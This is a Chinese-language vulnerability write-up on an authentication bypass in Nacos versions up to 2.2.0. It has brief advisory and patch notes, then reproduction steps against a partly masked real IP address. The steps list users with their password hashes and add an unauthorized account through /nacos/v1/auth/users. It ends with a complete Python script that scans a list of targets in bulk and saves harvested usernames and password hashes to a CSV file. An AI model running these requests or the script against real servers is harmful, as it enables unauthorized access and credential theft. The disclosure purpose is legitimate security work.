一、简介
1、产品描述:Nacos(Naming and Configuration Service)是由阿里巴巴开源的一款云原生应用配套工具,主要用于服务发现、配置管理和服务管理。
2、影响产品或组件及版本:0.1.0 <= Nacos <= 2.2.0版本均受该漏洞影响
3、技术细节表述:该漏洞源于权限校验不严格导致,攻击者可通过发送特制的请求报文触发,成功利用漏洞后允许未授权的攻击者绕过认证,进而获取nacos系统的敏感信息或执行未授权操作。
4、修补措施:官方修补措施:Nacos 官方已发布修复此漏洞的版本。请将 Nacos 升级更新至最新版,完成漏洞的修复;修补建议:在 Nacos 配置文件中启用权限控制,并配置正确的用户认证和授权机制。
5、漏洞来源:https://nacos.io/blog/faq/nacos-user-question-history14945、https://www.cnvd.org.cn/flaw/show/CNVD-2023-17316
二、漏洞复现
2.1 漏洞利用介绍
1)权限绕过查看用户:通过未授权访问API接口,查看用户,访问nacos 平台的/nacos/v1/auth/users?pageNo=1&pageSize=2
例如GET请求访问:
http://118.xx.xx.26:8848/nacos/v1/auth/users?pageNo=1&pageSize=2
2)权限绕过添加用户:使用burp抓包nacos 平台的/nacos/v1/auth/users?username=用户名&password=密码,通过修改POST请求包来添加一个新用户。
例如POST请求访问:
http://118.xx.xx.26:8848/nacos/v1/auth/users?username=ylr2025&password=ylr2025
2.2 漏洞复现过程
1)查看用户:
通过未授权访问API接口,查看用户,访问nacos 平台的/nacos/v1/auth/users?pageNo=1&pageSize=2
案例,访问以下URL连接,直接返回账号及密码密文
http://118.xx.xx.26:8848/nacos/v1/auth/users?pageNo=1&pageSize=2
返回值为200,可以正常访问。存在nacos的用户,密码通过盐加密方法加密(nacos的初始用户名和密码都为nacos)

2)添加用户:
使用post请求直接访问http://118.xx.xx.26:8848/nacos/v1/auth/users?
Post内容为username=ylr2026&password=ylr2026

登陆验证添加情况,使用创建的账号成功登陆:

2.3 漏洞脚本
4)批量检查漏洞脚本
1.加载当前脚本所在目录中url.txt的目标URL地址;
2.将请求成功的返回结果保存到当前目录loudong_url.csv中;
3.请求成功的返回结果内容列包括:完整请求的url、返回的username值、返回的password值。
查看用户的POC脚本代码以下:
import requests import urllib3 import csv import time # 禁用 InsecureRequestWarning 警告 urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) # 配置重试次数 MAX_RETRIES = 3 RETRY_DELAY = 2 # 每次重试的延迟时间,单位:秒 # 从url.txt文件中读取URL try: with open('url.txt', 'r') as file: urls = file.readlines() if not urls: raise ValueError("url.txt 文件中没有有效的URL") except FileNotFoundError: print("url.txt 文件未找到,请确保文件存在。") exit(1) except ValueError as e: print(e) exit(1) def fetch_data_with_retries(api_url): """尝试多次请求,处理500错误并进行重试""" retries = 0 while retries < MAX_RETRIES: try: # 发送GET请求,并设置超时时间为5秒,跳过SSL验证 response = requests.get(api_url, timeout=5, verify=False) if response.status_code == 200: return response.json() elif response.status_code == 500: print(f"服务器内部错误 (500),接口 {api_url},尝试重新请求... (第 {retries + 1} 次重试)") retries += 1 time.sleep(RETRY_DELAY) else: print(f"请求失败,接口 {api_url},状态码: {response.status_code}") return None except requests.exceptions.Timeout: print(f"请求超时!接口 {api_url},请检查网络连接或稍后再试。") return None except requests.exceptions.SSLError as e: print(f"SSL证书验证失败,接口 {api_url}: {e}") return None except requests.exceptions.RequestException as e: print(f"请求发生错误,接口 {api_url}: {e}") return None return None # 重试次数耗尽后返回 None # 用于记录所有的请求结果 all_results = [] # 遍历所有 URL 进行请求 for url in urls: url = url.strip() if not url: continue # 拼接API路径 api_url = f"{url}/nacos/v1/auth/users?pageNo=1&pageSize=2" # 尝试获取数据 data = fetch_data_with_retries(api_url) if data: page_items = data.get('pageItems', []) # 记录成功请求的结果 for item in page_items: all_results.append({ 'url': api_url, 'username': item.get('username', ''), 'password': item.get('password', '') }) else: print(f"接口 {api_url} 数据未能成功获取,已跳过。") # 如果有结果,保存到 CSV 文件 if all_results: with open('loudong_url.csv', 'w', newline='', encoding='utf-8') as csvfile: fieldnames = ['url', 'username', 'password'] writer = csv.DictWriter(csvfile, fieldnames=fieldnames) # 写入表头 writer.writeheader() # 写入数据 writer.writerows(all_results) print("数据已成功保存到 loudong_url.csv") else: print("没有成功获取任何数据。") |